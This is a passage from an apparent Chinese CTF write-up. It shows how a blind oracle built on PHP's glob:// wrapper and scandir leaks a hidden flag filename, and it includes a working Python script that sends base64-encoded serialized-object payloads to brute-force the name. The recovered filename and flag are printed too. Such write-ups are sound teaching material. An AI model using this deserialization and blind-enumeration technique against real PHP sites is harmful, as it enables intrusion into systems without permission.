        if ($Kana 0) {
            die('Kurokawa Akane');
        } else {
            die('Arima Kana');
        }

判断

因此需要利用返回的字符串中是否存在 flag 文件字符串,这里可以通过glob协议利用匹配符号进行猜解, glob协议能够查找匹配的文件路径模式,当目标匹配不存在时会返回⻓度为0的数组,因此在这个地方能够通过不同的回显进行盲注。

比如var_dump(scandir(‘glob://./flag.php’));

如果当前路径没有flag.php会返回

array(0) {

}

因此count(scandir(‘glob://./flag.php’))的值为0

如果存在文件返回

array(1) {

  [0]=>

  string(4) "f1ag"

}

count(scandir(‘glob://./flag.php’))为1

因此可以通过盲注判断文件路径

/var/www/html/The************************.php

盲注脚本

import base64

import requests

url = 'https://xwy5nanf86d2mzhaqkuvhphku.node.game.sycsec.com/?tuizi='
flag = 'The'
for _ in range(1, 40):
   for i in range(32, 128):
       if i == 37 or i == 42 or i == 63 or i==62:
           continue
       payload = 'O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'+str(13+_)+':"glob://./'+flag+chr(i)+'*";}s:19:"HoshinoAquamarine";N;}'
       #print(url+param)
       # print(payload)
       payload = base64.b64encode(payload.encode())
       # print(payload.decode())
       res = requests.get(url + payload.decode())
       if 'Kurokawa Akane' in res.text:
           flag += chr(i)
           print(flag)
           break
       # 最后得到路径

# flag_fecd0d9b-2852-497d-b829-0c5bf11c5021
# S4crEtF1AgFi1EByo2tak
# The************************.php
# TheS4crEtF1AgFi1EByo2takuXX.php

访问TheS4crEtF1AgFi1EByo2takuXX.php得到flag

  • 25
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值